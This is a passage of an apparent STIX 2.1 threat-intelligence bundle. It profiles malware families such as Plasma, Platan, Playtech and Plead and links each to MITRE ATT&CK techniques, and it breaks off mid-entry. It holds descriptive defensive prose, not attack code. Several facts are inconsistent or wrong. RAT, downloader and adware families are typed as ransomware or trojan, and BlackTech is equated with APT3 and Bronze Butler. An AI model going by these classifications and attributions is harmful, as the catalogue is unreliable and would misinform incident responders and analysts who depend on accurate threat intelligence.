      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pjtbinder exhibits technique T1204.002 (User Execution: Malicious File (The core mechanism of a binder))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8522985-b23a-5778-8ba6-43c2011d742e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2beb045-4e4c-512a-8940-383f7f9466f9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pjtbinder exhibits technique T1027 (Obfuscated Files or Information (Packaging and hiding the payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ef81288d-ce24-5eaa-abf3-6a88917dbbfd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c2beb045-4e4c-512a-8940-383f7f9466f9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pjtbinder exhibits technique T1055 (Process Injection (Often used by the stub to execute the payload silently))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b9b7765a-ef4b-5b75-9cc2-30c588b015ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Pjzab0Jsupjb",
      "description": "<h3>Executive Summary</h3>\n\"Pjzab0jsupjb\" is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather flags an executable file or network request that exhibits characteristics strongly associated with Domain Generation Algorithms (DGAs) or heavily obfuscated malware droppers.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe pseudo-random string \"Pjzab0jsupjb\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. \n\nFiles or network requests flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>DGA Communication:</strong> The malware attempts to resolve DNS queries for long, random, nonsensical domain names. This is a common tactic used by botnets and trojans to locate their command-and-control (C2) servers while evading static IP blocklists.</li>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using custom algorithms, aiming to hide the true malicious payload from static analysis and reverse engineering tools.</li>\n<li><strong>Process Injection:</strong> The program attempts to execute Windows APIs to inject code into legitimate system processes, attempting to bypass local firewalls and execute stealthily.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, an alert for this identifier is a severe security event. It frequently indicates the presence of a zero-day threat or a highly evasive initial access dropper designed to establish a beachhead for a larger, targeted attack.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the endpoint from the corporate network immediately to halt the DGA communication and prevent the potential download of secondary payloads.</li>\n<li><strong>DNS Log Analysis:</strong> Analyze corporate DNS logs for the specific pseudo-random strings generated during the alert to identify other potentially compromised hosts beaconing to the same infrastructure.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.DGA",
        "Suspicious.Pjzab0jsupjb",
        "Heur.Pjzab0jsupjb"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Pjzab0Jsupjb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/pjzab0jsupjb"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e9ebd24-9bec-51bb-8a3b-b5659e175a48",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9b7765a-ef4b-5b75-9cc2-30c588b015ff",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pjzab0Jsupjb exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f58b866e-3c12-5a7d-9d28-f32bf7ae4698",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9b7765a-ef4b-5b75-9cc2-30c588b015ff",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pjzab0Jsupjb exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--942a7f5a-a685-5538-b9e9-cc8b41f1ef01",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b9b7765a-ef4b-5b75-9cc2-30c588b015ff",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Pjzab0Jsupjb exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ddcf76dd-3a49-5ccc-a740-52f6808d3629",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Plasma",
      "description": "Backdoor:Win32/Plasma (often referring to the 'Plasma RAT') is a sophisticated Remote Access Trojan frequently sold on underground hacking forums. It provides an attacker with comprehensive, interactive control over a compromised Windows system. Unlike automated botnets, Plasma is designed for 'hands-on-keyboard' attacks, allowing a human operator to explore the file system, steal credentials, and pivot within a corporate network (`T1059`).<br><br><b>Understanding Plasma (Commercial RATs)</b><br>To an end-user, the infection is entirely invisible. For an incident response team, the presence of Plasma indicates an active, intelligent adversary is inside the network. Because the tool is commercially available (to criminals), the skill level of the attacker using it can range from a novice 'script kiddie' to an advanced ransomware affiliate preparing the environment for encryption.<br><br><b>Execution and Interactive Control Mechanics</b><br>Plasma is typically delivered via spearphishing campaigns (weaponized Office documents) or dropped by initial access brokers. Upon execution, it establishes persistence, often via Registry Run keys or hidden Scheduled Tasks (`T1547.001`). It establishes a reverse shell connection to the attacker's C2 server. The Plasma control panel provides the attacker with a GUI to execute a wide array of modules: file managers, registry editors, keyloggers (`T1056.001`), password dumpers (targeting browsers and FTP clients), and remote desktop (VNC) capabilities (`T1021.001`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total loss of system confidentiality and a high likelihood of lateral movement. Host-based IoCs include EDR alerts for anomalous command-line execution (e.g., `cmd.exe` or `powershell.exe` spawning from unexpected parent processes), unauthorized access to credential stores, and the creation of hidden staging directories for exfiltration. Network IoCs include a persistent, encrypted outbound connection to an unknown IP address, with traffic volume spiking when the attacker is actively interacting with the system (e.g., viewing the desktop or downloading files). (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Plasma",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/plasma"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d1812d69-320a-542f-965f-be9293855b11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ddcf76dd-3a49-5ccc-a740-52f6808d3629",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plasma exhibits technique T1059 (Command and Scripting Interpreter (Providing the attacker with interactive shell access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ec144b77-c765-5365-91b3-8e0bacdd0beb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ddcf76dd-3a49-5ccc-a740-52f6808d3629",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plasma exhibits technique T1056.001 (Input Capture: Keylogging (Stealing real-time user input))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--acce4b80-9fb9-54e3-ac63-1426569e56c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ddcf76dd-3a49-5ccc-a740-52f6808d3629",
      "target_ref": "attack-pattern--418b8676-e6f5-59de-8b48-f83299b43196",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plasma exhibits technique T1021.001 (Remote Services: Remote Desktop Protocol (Utilizing built-in or custom VNC for graphical access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f4bcd957-f791-53bf-aea3-a446d5c0526b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ddcf76dd-3a49-5ccc-a740-52f6808d3629",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plasma exhibits technique T1041 (Exfiltration Over C2 Channel (Stealing files directly through the RAT connection))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3f6d9284-4de8-57d2-b6ac-71010f09a1dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Platan",
      "description": "<h3>Executive Summary</h3>\nPlatan is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nPlatan is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Platan operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Platan ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Platan receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Platan infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Platan executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Platan frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Platan",
        "Downloader.Platan",
        "Win32/Platan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Platan",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/platan"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6868d34a-2954-5390-83f3-7b7761d2192a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f6d9284-4de8-57d2-b6ac-71010f09a1dc",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Platan exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d00d618-8a9f-5045-b2c5-4f9012feb928",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f6d9284-4de8-57d2-b6ac-71010f09a1dc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Platan exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--81a1d399-e9d5-5725-a629-b4e50a7b8e89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3f6d9284-4de8-57d2-b6ac-71010f09a1dc",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Platan exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a5e6a166-e10e-5c89-9df5-9861c01d647d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Playgames",
      "description": "<h3>Executive Summary</h3>\nPlayGames is a pervasive family of Potentially Unwanted Programs (PUPs) and aggressive Adware that primarily targets casual gamers. Masquerading as a free portal for browser games or a necessary \"flash player update,\" the software's true objective is to monetize the user's system by hijacking web traffic, altering browser configurations, and injecting highly intrusive, unclosable advertisements.\n\n<h3>Distribution and Technical Behavior</h3>\nPlayGames is heavily distributed via deceptive advertising networks on gaming websites, bundled within the installers of free \"flash\" games, and through fake software updates hosted on low-reputation download portals.\n\nOnce installed, PlayGames deeply integrates with the operating system and installed web browsers:\n<ul>\n<li><strong>Browser Hijacking:</strong> The PUP forcefully alters the browser's default search engine, homepage, and new tab settings. It redirects all search traffic through a specific portal controlled by the adware operators, allowing them to intercept queries and generate pay-per-click revenue.</li>\n<li><strong>Ad Injection and Overlays:</strong> The software installs a local proxy or malicious browser extensions to intercept web traffic. It injects banners, pop-unders, and sponsored links into the user's web viewing experience, often overlaying legitimate content with fake \"Play Now\" buttons.</li>\n<li><strong>System Alteration:</strong> To ensure it remains active, PlayGames creates persistent Scheduled Tasks and modifies the Windows Registry to automatically launch its ad-serving components upon system boot.</li>\n</ul>\n\n<h3>Risk Assessment</h3>\nWhile PlayGames is not a destructive virus (it does not encrypt files or steal banking credentials), it introduces massive operational friction and privacy risks. The continuous ad injections severely degrade system performance, and the hijacked search results are frequently served by low-tier ad networks, significantly increasing the risk of exposure to more severe \"malvertising\" attacks.\n\n<h3>Mitigation and Removal Strategies</h3>\n<ul>\n<li><strong>Endpoint Scanning:</strong> Utilize a reputable enterprise-grade anti-malware solution to perform a deep system scan, targeting the PlayGames executables, hidden scheduled tasks, and persistent registry keys.</li>\n<li><strong>Browser Remediation:</strong> Manually inspect and remove any unknown or unauthorized extensions from all installed web browsers. Perform a complete factory reset of the browsers to clear the hijacked proxy and search settings.</li>\n<li><strong>Application Control:</strong> Enforce strict application whitelisting policies to prevent standard users from executing unapproved software installers (especially gaming platforms) that are the primary vector for this adware.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.PlayGames",
        "PUP.PlayGames",
        "BrowserModifier:Win32/PlayGames"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Playgames",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/playgames"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d3b34f88-03e5-5001-bdb1-087a50019971",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5e6a166-e10e-5c89-9df5-9861c01d647d",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Playgames exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00e32052-2d1a-5a9f-8e57-27ae0126c4a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5e6a166-e10e-5c89-9df5-9861c01d647d",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Playgames exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d3aeaab-ba69-5d0a-be99-50ca49b1af9a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a5e6a166-e10e-5c89-9df5-9861c01d647d",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Playgames exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b5d1d6c5-807a-5235-a101-cb19a875dd4c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Playtech",
      "description": "Playtech (tracked by antivirus vendors under classifications such as PUA:Win32/Playtech, Adware:Win32/Playtech, and PUA.Playtech) identifies a family of potentially unwanted applications and aggressive adware bundlers associated with repackaged casino and online gaming clients. Distributed primarily via deceptive download portals, pirated gaming packages, and freeware installer wrappers, the Playtech installer wrapper deploys unauthorized software components alongside legitimate gaming frameworks. Once installed, the software injects persistent background updater services, creates scheduled tasks, and hooks into desktop web browsers (including Google Chrome, Mozilla Firefox, and Microsoft Edge). The adware modifies browser shortcuts, overrides default homepages and search providers, generates intrusive pop-up advertisements, and redirects web navigation toward affiliate gambling and online betting portals. Beyond promotional disruption, the continuous background operation of these bundled components introduces system instability, excessive memory utilization, and privacy exposure through search query logging. (Observed samples in benchmark: 216)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/Playtech",
        "Adware:Win32/Playtech",
        "PUA.Playtech",
        "Adware.Playtech",
        "Win32/Playtech"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Playtech",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/playtech"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24ad3ee3-f294-5429-aa2d-37db78156a55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5d1d6c5-807a-5235-a101-cb19a875dd4c",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Playtech exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8d5a177-fb89-5df9-a892-fe54a957dc40",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5d1d6c5-807a-5235-a101-cb19a875dd4c",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Playtech exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d7792381-d777-51e5-83ee-9aa7ab73ecdb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5d1d6c5-807a-5235-a101-cb19a875dd4c",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Playtech exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e109a57-504e-5e64-b7c8-2e7c9d694c90",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5d1d6c5-807a-5235-a101-cb19a875dd4c",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Playtech exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--627ed3d7-797b-52ac-8267-1dae0a8f756d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b5d1d6c5-807a-5235-a101-cb19a875dd4c",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Playtech exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b71185ec-42e4-52fa-83dd-ecf57d19fecf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Plead",
      "description": "Backdoor:Win32/Plead is a custom, highly evasive remote access trojan (RAT) heavily utilized by the state-sponsored cyber-espionage group BlackTech (also known as APT3, Bronze Butler, or Palmerworm). The Plead backdoor is primarily deployed in targeted attacks against technology, electronics, and government organizations in East Asia (particularly Taiwan and Japan). Its core function is to establish deep persistence, evade detection, and facilitate the long-term theft of intellectual property and sensitive corporate data (`T1059`).<br><br><b>Understanding Plead (APT Espionage Backdoor)</b><br>To an end-user, the system operates completely normally. For a threat hunter or incident responder, discovering Plead indicates a severe, targeted breach by a highly capable nation-state adversary. BlackTech operators are known for their operational security and their ability to dwell within a network for months or years undetected, continually exfiltrating data.<br><br><b>Execution and Evasion Strategies</b><br>Plead is typically deployed after initial access is gained via spear-phishing or the exploitation of public-facing infrastructure (like vulnerable VPN appliances or routers). The backdoor is known for its multi-stage loading process, often employing DLL side-loading (`T1574.002`)\u2014hijacking legitimate, signed executables (like antivirus components or common software updaters) to load the malicious Plead DLL into memory. This severely hampers detection by standard AV. Once active, Plead communicates with its C2 infrastructure using custom, encrypted protocols, often disguising its traffic as normal HTTP or DNS requests. It provides the operators with full control: the ability to execute shell commands, upload/download files, dump credentials, and move laterally.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the catastrophic, long-term loss of intellectual property and strategic secrets. Host-based IoCs often involve discovering legitimate executables executing from unusual directories (e.g., `%AppData%`) alongside an unsigned, maliciously crafted DLL sharing the name of a required legitimate library. EDR may flag anomalous process injection (`T1055`) originating from these 'legitimate' processes. Network IoCs require deep packet inspection (DPI) to identify the custom encryption routines or beaconing patterns of the Plead C2 traffic. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Plead",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/plead"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--810fb290-520b-5f85-a02c-133b2dcdbccf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b71185ec-42e4-52fa-83dd-ecf57d19fecf",
      "target_ref": "attack-pattern--a763b4e8-06c3-5399-9705-7b4f6eec4504",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plead exhibits technique T1574.002 (Hijack Execution Flow: DLL Side-Loading (Core evasion technique))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c6a3c3d-eceb-5d93-8a28-29b2812636d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b71185ec-42e4-52fa-83dd-ecf57d19fecf",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plead exhibits technique T1059 (Command and Scripting Interpreter (Providing backdoor shell access))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c731eccd-01f6-595a-a7a5-3fb01126b5b7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b71185ec-42e4-52fa-83dd-ecf57d19fecf",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plead exhibits technique T1055 (Process Injection (Hiding within legitimate processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90fe2852-c71a-5a05-bb16-bbea403bd09b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b71185ec-42e4-52fa-83dd-ecf57d19fecf",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Plead exhibits technique T1041 (Exfiltration Over C2 Channel (Stealing intellectual property))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9b031b1b-66d9-5349-842f-f03184983755",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Plicker",
      "description": "<h3>Executive Summary</h3>\nPlicker is an intrusive adware family and Potentially Unwanted Program (PUP) designed to aggressively monetize infected systems. It hijacks web browsers, alters core system configurations, and bombards the user with unsolicited, often deceptive, advertisements, significantly degrading system performance and user privacy.\n\n<h3>Technical Analysis and Behavior</h3>\nPlicker relies almost entirely on deceptive software bundling for distribution. Users inadvertently install the adware when downloading media players, file converters, or \"free\" utilities from low-reputation software aggregation websites.\n\nUpon execution, Plicker immediately attempts to establish persistence by creating registry run keys and hidden scheduled tasks. It installs malicious extensions across all detected web browsers (Chrome, Firefox, Edge) and frequently modifies system-wide proxy settings to route web traffic through servers controlled by the adware operators. \n\nThis \"man-in-the-middle\" position allows Plicker to:\n<ul>\n<li><strong>Inject Advertisements:</strong> Overlay pop-up ads, banners, and in-text hyperlinks onto legitimate, encrypted (HTTPS) websites.</li>\n<li><strong>Hijack Searches:</strong> Redirect queries from default search engines to affiliate-controlled portals to generate ad revenue.</li>\n<li><strong>Harvest Data:</strong> Track browsing history, search habits, and geolocation data, building comprehensive profiles that are sold to third-party marketing 